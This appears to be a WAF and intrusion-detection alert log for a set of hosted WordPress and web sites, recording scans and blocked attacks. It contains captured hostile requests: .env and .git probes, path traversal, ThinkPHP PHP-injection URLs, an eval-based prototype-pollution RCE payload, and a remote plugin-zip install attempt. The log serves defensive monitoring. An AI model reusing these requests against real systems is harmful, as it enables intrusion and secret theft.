IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 64.139.44.71
country_id: 1861060
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 14; SM-S928U Build/UP1A.231005.007; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.134 Mobile Safari/537.36 trill_410601 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/41.6.1 ByteLocale/ja ByteFullLocale/ja Region/JP AppId/1180 Spark/1.7.2 AppVersion/41.6.1 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 64.139.45.237
country_id: 1861060
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; ONEPLUS A7010; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.127 Mobile Safari/E7FBAF trill_420403 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/42.4.3 ByteLocale/ja ByteFullLocale/ja Region/JP AppId/1180 Spark/1.7.2 AppVersion/42.4.3 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 217.22.231.139
country_id: 1861060
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; ONEPLUS A7010; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.49 Mobile Safari/E7FBAF trill_420502 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/42.5.2 ByteLocale/ja ByteFullLocale/ja Region/JP AppId/1180 Spark/1.7.2 AppVersion/42.5.2 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/products?per_page=100&page=1&status=publish||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.165.1.10
country_id: 2921044
domain: tradingfmcg.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:tradingfmcgtrang||SC:/home/tradingfmcgtrang/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.57.135.227
country_id: 6252001
domain: staging.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=k24jgfc5&v=2kqkp||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=3y3p8u21&v=8h1pc||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.224.192.152
country_id: 6252001
domain: tenai.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=z7tjnotw&v=d0qoq||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=hunh2yvq&v=ar81n||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=cqpm9an5&v=omsou||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=m9gr6txz&v=wa1t0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=fmjesyle&v=yeilv||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=qc10vjym&v=2zbjv||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=ns3trsxu&v=ocy16||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=ov37toe9&v=5my9l||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=ji9e84ac&v=suutb||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.103
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=pg6pvt8s&v=n7voy||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.162.6.183
country_id: 6252001
domain: usocial.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.66
country_id: 3017382
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/.env||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.165.64.145
country_id: 6252001
domain: constructionconnect.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:constructionconn||SC:/home/constructionconn/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.162.97.225
country_id: 6252001
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:aiyaamer||SC:/home/aiyaamer/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.242
country_id: 732800
domain: nationalsteelbuildings.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/%2e%2e/%2e%2e/var/www/.git/config||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 15 06:58:22 staging sshd[4029941]: Accepted publickey for ansible from 192.168.0.89 port 55656 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 15 07:07:20 staging sshd[4035964]: Accepted publickey for ansible from 192.168.0.89 port 58894 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/products?per_page=100&page=1&status=publish&modified_after=2026-07-15t13%3a00%3a23%2b00%3a00||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.194
country_id: 6252001
domain: shadow.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:shadowtrangotech||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/products?per_page=100&page=1&status=publish&modified_after=2026-07-15t13%3a00%3a23%2b00%3a00||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.148.62.202
country_id: 6252001
domain: bts.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.29||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.148.62.202
country_id: 6252001
domain: bts.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.29||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 34.148.62.202
country_id: 6252001
domain: bts.trangotech.dev
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:||WPU:||User:btstrangotech||Script:/home/btstrangotech/public_html/xmlrpc.php||RSV:8.29||T:APACHE||MV:/xmlrpc.php||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 15 11:40:07 staging sshd[4071828]: Accepted publickey for ansible from 192.168.0.89 port 44300 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.162.97.182
country_id: 6252001
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:terrazzotrangote||SC:/home/terrazzotrangote/public_html/wp-json||WPU:||RSV:8.29||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 15 12:19:53 staging sshd[4086272]: Accepted publickey for ansible from 192.168.0.89 port 35948 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-15 12:24:25 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-15 12:24:24 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.188
country_id: 1880251
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 104.28.219.193
country_id: 6252001
domain: dubbs.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.29||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 104.28.219.193
country_id: 6252001
domain: dubbs.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php~||RSV:8.29||T:APACHE||REQUEST_URI:/wp-config.php~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.193
country_id: 6252001
domain: dubbs.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:dubbstrangotech||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 71.132.43.3
country_id: 1814991
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 104.43.50.80
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/1a/1abbc94727cc65e23cb4ddead8017e150229970799410ee224b070be220241b2.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.43.50.80
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/1a/1abbc94727cc65e23cb4ddead8017e150229970799410ee224b070be220241b2.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/1a/1abbc94727cc65e23cb4ddead8017e150229970799410ee224b070be220241b2.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 217.113.60.80
country_id: 719819
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/92/option_values.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 78.46.99.182
country_id: 2921044
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/elFinderSession.class.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 72.167.132.114
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/plugins/Watermark/admin_menu.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 160.187.68.132
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/d6/sk.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.43.50.80
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/d6/sk.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/d6/sk.php||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 104.43.50.80
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/contact-form-7/includes/contact-form-template.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.43.50.80
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-13.104.43.50.80||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 47.86.33.52
country_id: 1819730
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/plugins/AutoRotate/mrg_myisam.lib.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 72.167.132.114
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/8b/usergroup_7.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 64.225.121.94
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/8e/renderprocess.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 51.79.215.219
country_id: 1880251
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/plugins/Normalizer/calendarjs.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 194.164.192.228
country_id: 2921044
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/editors/ZohoOffice/check_back.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 213.171.208.62
country_id: 2635167
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/54/nsis.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 103.133.216.219
country_id: 1252634
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/6e/bar.transfer.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 160.187.68.214
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/editors/OnlineConvert/rabbitoshi.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 202.51.202.242
country_id: 1643084
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/d9/fitxer1.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 202.51.202.242
country_id: 1643084
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/11/phd_buttonsEN.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 72.167.132.114
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/plugins/Sanitizer/headlines.class.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 97.74.93.24
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/libs/portfolios.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 152.53.111.131
country_id: 2782113
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/plugins/AutoResize/aidonate.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: homepowerment.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"x_e187670e\":null,\"_91cd144f\":\"09125f070f7658cc\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_a844458e\":\"rejected\",\"then\":\"$1:__proto__:then\",\"data_57d0db95\":\"b8c5894c52a69eca\",\"reason\":-1,\"_response\":{\"_prefix\":\"var fcul=arguments['\\\\x31'];var ufjs=fcul;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 202.51.202.242
country_id: 1643084
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/b5/consulta.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.135.138.186
country_id: 6252001
domain: spades.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:spadestrangotech||SC:/home/spadestrangotech/public_html/wp-json||WPU:||RSV:8.29||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 114.79.5.24
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.29||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.0.58
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: express.trangotech.dev
description:


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 203.55.81.1
country_id: 3017382
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.101.17
country_id: 2921044
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/admin/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.45
country_id: 2750405
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/home/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 45.84.107.101
country_id: 2661886
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/user/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 45.84.107.55
country_id: 2661886
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=//think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.100.87.166
country_id: 798549
domain: kingdom.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/api/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 37.140.223.90
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
